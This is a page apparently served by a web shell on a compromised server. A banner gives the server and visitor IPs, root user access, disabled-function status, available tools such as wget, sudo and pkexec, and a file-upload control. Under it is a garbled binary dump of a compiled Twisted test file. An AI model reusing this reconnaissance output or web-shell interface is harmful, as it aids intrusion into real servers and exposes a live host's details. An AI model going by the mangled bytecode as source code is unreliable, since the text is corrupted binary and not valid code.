Server IP : 209.38.156.173 / Your IP : 216.73.216.122 [ Web Server : Apache/2.4.52 (Ubuntu) System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64 User : root ( 0) PHP Version : 8.1.2-1ubuntu2.22 Disable Function : NONE Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /usr/lib/python3/dist-packages/twisted/persisted/test/__pycache__/ |
Upload File : |
o �b� � @ s� d Z ddlZddlZddlmZmZ ddlmZ G dd� d�ZG dd� d�Z d d � Z dd� ZG d d� dej�Z G dd� dej�ZdS )z( Tests for L{twisted.persisted.styles}. � N)�_UniversalPicklingError�unpickleMethod)�unittestc @ � e Zd ZdZdd� Zdd� ZdS )�Foo� Helper class. c C s d| _ d S )N� test-value��instance_member��self� r �D/usr/lib/python3/dist-packages/twisted/persisted/test/test_styles.py�__init__ s zFoo.__init__c C s | j S )z Helper method. r r r r r �method s z Foo.methodN)�__name__� __module__�__qualname__�__doc__r r r r r r r s r c @ s e Zd ZdZdS )�Barr N)r r r r r r r r r s r c C s dS )z) A sample function for pickling. Nr r r r r �sampleFunction$ � r c C s | S )Nr )�xr r r �<lambda>* r r c @ r )�UniversalPicklingErrorTestsz9 Tests the L{_UniversalPicklingError} exception. c C s t �)z2 Raise L{UniversalPicklingError}. )r r r r r �raise_UniversalPicklingError2 s z8UniversalPicklingErrorTests.raise_UniversalPicklingErrorc C s | � tj| j� dS )z^ Handling L{pickle.PicklingError} handles L{_UniversalPicklingError}. N)�assertRaises�pickle� PicklingErrorr r r r r �test_handledByPickleModule8 s z6UniversalPicklingErrorTests.test_handledByPickleModuleN)r r r r r r r r r r r - s r c @ s@ e Zd ZdZdd� Zdd� Zdd� Zdd � Zd d� Zdd � Z dS )�UnpickleMethodTestsz0 Tests for the unpickleMethod function. c C s2 t � }td|t �}| �||j� | �||j� dS )zj L{unpickleMethod} returns an instance method bound to the instance passed to it. r N)r r �assertEqualr �assertIsNot�r �foo�mr r r � test_instanceBuildingNamePresentE s z4UnpickleMethodTests.test_instanceBuildingNamePresentc C sT t � }t�|j�}| �||j� | �||j� | �d|� � d|_| �d|� � dS )za Copying an instance method returns a new method with the same behavior. r z new-valueN)r �copyr r! r"